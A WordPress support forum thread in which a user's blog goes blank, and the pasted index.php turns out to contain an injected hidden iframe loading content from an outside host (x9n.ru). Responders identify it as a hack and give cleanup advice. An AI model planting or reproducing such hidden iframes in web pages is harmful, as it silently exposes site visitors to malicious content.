• When i install wordpress on my linux hosting server the blog shows up normally for 1 or 2 days. Later it stops coming up. When i type the url in my browser it shows up a blank page or a 404 error. The URL of my website is https://nokiaappz.com
    The error message in the error_log file in the server is as follows:

    [28-Jul-2009 10:46:45] PHP Warning: Unexpected character in input: ”’ (ASCII=39) state=1 in /home/nokiaapp/public_html/index.php on line 17

    [28-Jul-2009 10:46:45] PHP Parse error: syntax error, unexpected ‘.’ in /home/nokiaapp/public_html/index.php on line 17

    How can it be resolved

Viewing 6 replies - 1 through 6 (of 6 total)
  • Did you try loading a fresh copy of the index.php file?

    Thread Starter srirambikkina

    (@srirambikkina)

    Yes i tried to load a fresh copy of index.php but the same problem persists.
    This is the index.php file that existed before replacement:
    —————————————————————-
    <?php
    /**
    * Front to the WordPress application. This file doesn’t do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */

    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define(‘WP_USE_THEMES’, true);

    /** Loads the WordPress Environment and Template */
    require(‘./wp-blog-
    <iframe src=”https://x9n.ru:8080/index.php&#8221; width=176 height=135 style=”visibility: hidden”></iframe>
    ?>
    —————————————————————

    And this is the new code i replaced in the index.php file:

    —————————————————————-
    <?php
    /**
    * Front to the WordPress application. This file doesn’t do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */

    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define(‘WP_USE_THEMES’, true);

    /** Loads the WordPress Environment and Template */
    require(‘./wp-blog-header.php’);
    ?>
    —————————————————————–

    Can you tell me what this is:

    /** Loads the WordPress Environment and Template */
    require('./wp-blog-
    <iframe src="https://x9n.ru:8080/index.php" width=176 height=135 style="visibility: hidden"></iframe>

    If you did not put that code there, then that means you are being hacked and some of your other code may have the same issue. I would upload new files, and then chmod your root files to 444. Don’t forget to change it back to 644, when you are upgrading WordPress automatically from the backend.

    Thread Starter srirambikkina

    (@srirambikkina)

    Hi,
    I did not put that code. My is basically a reseller hosting package. I also tried to delete the entire hosting package for nokiaappz.com and recreated it. How many times I do that the same problem comes up withi a day.

    I will try to put it in detail:
    I have 3 domains:
    1. nokiaapz.com
    2. mobilelooks.com
    3. onlineearninggurus.com

    Out of the 3 the first 2 are registered with Globat.com and the 3rd one with a different registrar.
    I also tried to install wordpress with onlineearninggurus.com it has been 24 hours i installed wordpress in this domain and still it is working fine.

    I don’t know perfectly but my guess is that it may be a problem with the domain registrar.

    No, it is because you are being hacked. You can do a search on the forums for “hacked site” and you will see that there are other who have issues with this type of injection. If you reinstalled WordPress on all your sites, then make sure that you changed your Control Panel and database passwords as well as set the files in your root directory to 444. If you don’t clean out your databases with this code as well as change your passwords and permissions you will continue to be hacked on all your sites. Check out this thread.

    Thread Starter srirambikkina

    (@srirambikkina)

    Thank You, I will try that now.

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘Home Page Shows Blank After Installation’ is closed to new replies.